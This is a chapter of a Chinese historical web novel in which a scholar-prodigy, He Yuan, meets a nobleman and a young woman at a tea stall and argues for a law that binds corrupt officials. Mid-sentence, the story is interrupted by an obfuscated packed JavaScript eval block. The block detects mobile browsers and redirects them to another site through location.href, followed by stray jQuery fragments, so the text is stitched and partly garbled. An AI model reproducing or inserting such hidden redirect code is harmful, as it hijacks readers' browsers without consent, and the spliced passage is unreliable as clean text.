叶青言是极严谨务实的一个人，她很少会因为别人的相貌、着装等外在条件而对那人印象深刻。


    但眼前人却是个特例。


    因为对方实在生得太好。


    肤色白皙，剑眉星目，五官精致得宛如最厉害的匠人所精心雕琢的完美艺术品般，无一丝瑕疵。


    此人正是当日在陶园与叶青言打过照面的贺渊。


    在他身边的另一人自然就是礼部尚书杜若之子杜景了。


    叶青言很快便从惊讶中回神，礼貌地冲两人点了点头。


    “认识？”林翊问。


    叶青言颔首，轻声道：“马球比赛那日，曾在陶园有过一面之缘。”


    林翊听罢，微眯了眯眼，能在马球比赛当日获邀进入陶园的人，不是出自官宦，就是朝中重臣之后。


    林翊认真打量着前方的两个青年。


    坐在左边位置的男子，着一身甘草黄的圆领斜襟长袍，这种老黄色是极挑人的一种颜色，却被这男子穿出一股洒脱磊落的意韵来，唇红齿白，笑容奕奕，显得格外灵动。


    而坐右边的那名年轻男子……林翊视线缓移，顿觉眼前一亮。


    黄衣男子已然生得十分俊秀，可这名青年的眉眼竟比黄衣男子还要秀丽三分，面如美玉，目若朗星，瞧着竟与阿言不相上下。


    当真是好相貌！


    京中的贵人，林翊大都打过照面，可眼前的两人，他从未见过。


    沉吟片刻，林翊的目光缓缓又回到了黄衣男子的身上，根据底下人所收集的信息，倒有一人符合这样的形象。


    就在此时，黄衣男子站了起来，端端正正地朝林翊作了一揖，道：“在下杜景，二公子有礼了。”


    果然是杜尚书家的公子。


    林翊微皱的眉眼渐渐松开，说道：“竟能在此处与杜公子偶遇，倒是巧了。”


    “我与好友是听说这附近有口山泉极为甘甜，才特地过来一尝的。”杜景恭敬说道，态度很是谦恭。


    林翊见状，摆了摆手：“出门在外，杜公子不必拘谨。”


    杜景不料对方竟这般随和，一怔之下，也不扭捏，笑道：“店家这会儿到后山去给我们取现水了，要等会儿才能回来，二位若不嫌弃，不如与我们同坐？”


    叶青言看向林翊。


    林翊颔首，两人先后落座。


    贺渊抬手，给林、叶两人各斟了一杯清茶推过。


    杜景顺势介绍道：“这位是在下的好友，贺渊。”


    贺渊站起，对着林翊躬身一揖，又冲叶青言点了点头。


    “贺渊？”林翊有一瞬惊讶。


    叶青言听了这个名字也很诧异，她侧首同林翊互相对望一眼，而后纷纷将目光投向了贺渊。


    林翊：“你就是贺渊？福建长乐的那个贺嘉言？”


    贺渊迎着对面两人的目光，淡淡一笑，微扬的嘴角挑出月白风轻之感：“我就是贺渊，来自福建长乐的贺嘉言。”


    一语落下，不远处的林中突地响起几声惊鸟扑扇翅膀的声音。


    “竟能在这小小野店与传闻中的文坛天才相遇……今日这一趟还真是出来得对了。”林翊叹说，并抬手示意对方坐下。


    “公子此言折煞我了。”贺渊落座，风扬起他的衣摆宽袖，带出一股说不出的倜傥俊逸。


    林翊看着他，终是没能忍住心底的好奇，问道：“历时六年，你这是终于准备进京长住了？”


    林翊话中所指乃是科考，贺渊听懂了，杜景和叶青言也听得分明。


    叶青言神情微异，视线灼灼地看着贺渊。


    便是杜景也掩不住眼底的好奇，他虽与贺渊交好，却从未开口问过这个问题，他是想问，但并不敢问。


    多年之前，在他们还在江南书院学习之时，贺渊就曾告知过他，说官场污浊，比起入朝拜相，他更愿寄情山水，游历名山大川。


    在过去的六年里，他也是这么做的，尽管老师和家中长辈一再写信催他进京赶考，他都不曾给过任何回应。


    随着林翊语落，满堂悄寂。


    风从湖畔方向吹来，拂着茶棚外的旧竹枝条啪啪作响。


    棚子里的三人俱都望着贺渊，等待他的回答。


    这真不怪几人好奇。


    少年天才贺嘉言，自乡试中举后，便销声匿迹，此事在当时闹得很大，几乎大庆所有的读书人都有听说。


    天下人都很好奇他何时才会下场科考，又或者说……他是否还会下场科考。


    故而每次春闱，京城的各大赌坊都会就此事进行开盘。


    来年春闱将至，关于此事的赔率也已产生，并随着参与人数的逐渐增多而不断发生变化。


    天才，从来都是众人的话题中心，经久不衰。


    贺渊闻言，也没有多卖关子，坦然说道：“公子猜得不错，在下确实有此打算。从长乐到京师，这一路，我整整走了六载，已然足够。”


    叶青言被他淡淡语气中所透露出的坚定震撼，忽然就觉得自己久居京城，未看过外面的大好河山，便想直接参加科考的行为太过狭隘。


    杜景难掩惊讶地看着贺渊，也顾得还有旁人，脱口而出道：“你不是不想入仕？”


    叶青言也望向了贺渊，紧接着，是一段令她震惊而且毕生难忘的交谈。


    “老师和父亲一直都希望我入仕，他们年岁大了，我不忍再辜负他们的栽培。”微顿了顿，贺渊将目光转向林翊，说道，“我这几年在外游历，亲眼见证了很多事情，有河清海晏之盛况，但更多是天灾人祸的惨状，我曾一度觉得官场是池浑水，一旦进入，要么同流合污，要么如景文学士那般与周遭格格不入，最后惨死狱中，对于官场我一直是不屑的，可这几年的见闻，让我明白自己不能因为污浊便不去趟这趟浑水，比起逃避，吾辈更当以身作则去治理污水，还世道、还冤死之人一个清白。”


    景文学士李青松，乃庆朝当代文宗，却在先帝晚年缠绵病榻之时因得罪宫中权贵而蒙冤遭难，在一个寒冷的冬夜被酷吏拖出囚房，泼水冻死，李府家眷尽数被杀，满门无一幸免。


    这事发生之时，贺渊不过十岁，彼时他刚刚研读了景文学士的文章，正是慷慨激昂之际，乍闻此噩耗，只觉心中信念崩塌。


    而后今上登基，重开科举，他虽在父亲和老师的期待下参加了乡试，却始终无法战胜心魔进京会试。


    直至如今。


    贺渊看着茶棚外湛蓝的天幕，继续道：“站在河畔看风景一世，固然清妙自在，可若连鞋底都舍不得打湿，生而在世，有何自由，有何血性？”


    此言一出，碧叶随风轻摆，在座几人的眼睛都变亮了一瞬。


    茶棚里一片安静，不知是什么小动物从外头的篱笆处钻过，发出沙沙的声音。


    良久，林翊开口问道：“阁下眼中的大庆官场，是什么模样？”


    “积弱百年，官官相护，彼此牵连，上至阁臣，下至小吏，无不如是，好在前有先帝拨乱反正，后有今上励精图治，但前几代帝王所造就的倾颓之势，非是一朝一夕便可扭转。”贺渊说得很平静，因为他已定下目标，所以平静。


    林翊再问：“那阁下认为，朝廷应该如何才能彻底扭转当前颓势，还天下清明，长治久安？”


    “立法。”贺渊没有犹豫，直接说道，“成立一部专门用来督促朝臣的律法。”


    林翊挑眉，视线不着痕迹地扫过旁边的叶青言，笑道：“曾经有人也跟我提过同样的建议。”


    贺渊没有错过林翊的视线，不由


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983557|192617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转眸看向了叶青言。


    叶青言嘴角噙笑，手指轻轻摩挲着杯沿，说：“愿闻阁下高见。”


    贺渊静静环视两人，似是沉思，又似权衡，半晌后，缓声说道：“前有百年积弱，后有重臣把持朝政，尤其高老去后，上头没人压着，不少朝臣都起了自己的私心。今上登基后，对朝堂进行了循序渐进地整顿，可朝中尸位素餐的冗员依然太多，治乱世需用重典，眼下虽非乱世，但前面近百年积累所造就得层层弊政实不容小觑，非大刀阔斧不足以打开局面，大庆虽有律法，可此法治民不治官，对朝廷官员的约束不大。当然，这并非本朝的弊端，纵观历朝历代，皆是如此。若能制定一部专门用来约束朝臣的律法，整顿姑息之弊，促进吏治整改，于国于民都是益事。”


    贺渊的这一番言论，条理分明，遣词直白，几人听罢纷纷点头。


    “先贤有言，民为重，社稷次之，君为轻，可自古以来，也只有每个王朝之始，才会秉承此点，轻徭薄赋，重视民生，随着时间过去，徭役一点一点加重，百姓手中的土地也变得越来越少，直至王朝之末，土地兼并，民不聊生。会造成这般后果，皆因上位之人起了私心，律法对于官员的约束本就几近于零，所以当他们不再秉持圣人之道时，受苦的便会是底下的百姓。”


    在深入的后果的贺渊没有细说，但在座之人也都可以想象。


    阳光洒落在身后道上，清风穿行棚间，屋外有鸟雀鸣叫着向天空飞去。


    叶青言坐在那里，看着贺渊侃侃而谈，突然就对很多事情有了新的领悟。


    林翊听罢，亦称赞道：“不愧是传闻中的不世天才，今日一见，果真名不虚传。”


    贺渊摇头：“您谬赞了，所谓的不世天才，都是好几年前的声名了，如今的在下实不敢当，此番科考，若名落孙山，也不知世人会如何评价与我。”


    贺渊这话说得幽默，几人听罢不由都笑了起来，可笑过之后，又忍不住觉得唏嘘。


    贺渊幼年便被冠以神童之名，他八岁所写的诗句就被人收录进了送给先皇的诗集里，还得了先皇的大力赞赏，年方十二便中了举人，还是竞争最为激烈的科考大省——福建省的解元。


    在当时，所有的人都称赞他，褒奖他，说他是千年难得一遇的天才。


    可他却没有参加那一届的会试。


    渐渐地，坊间开始有了不同的声音。


    一次、两次，两届会试，黄榜之上皆无他名，民间也不再有他的文章出现。


    那些当初捧他的人转头开始嘲笑他，说他是伤仲永，说他江郎才尽。


    若他此番真无缘黄榜，所要承受的恶意，可想而知。


    “闻君一席话，发人深省，引人深思，我看来年会试的三甲，必有阁下之名。”叶青言说道，她是真心这样想的，便也这么说了。


    贺渊一怔，随后微笑：“那就承你吉言了。”说罢，他拿起茶杯，“今日有缘相聚，我便以茶代酒，也愿你能金榜题名。”


    叶青言自是举杯回敬，她没有多言，也没有追问对方是如何看出自己也有意参加来年的春闱。


    反而是林翊问出了这个问题。


    贺渊笑道：“不过猜测，看来我是猜对了。”


    贺渊当然不是胡乱地猜测，而是有线索地推测，但林翊并未深究。


    几人之后又闲聊了别的一些方面。


    期间店家归来，用山泉水重新给众人沏了一壶新茶。


    茶汤浓酽，润人心脾，是一壶难得的好茶。


    日头越升越高，被林翊打发去前头等候的护卫迟迟没见主人过来，便架着马车折返，很快就寻着两人的踪迹，来到了茶棚之外。


    时间不早，加之午后还有他事，林翊便带着叶青言告辞离开。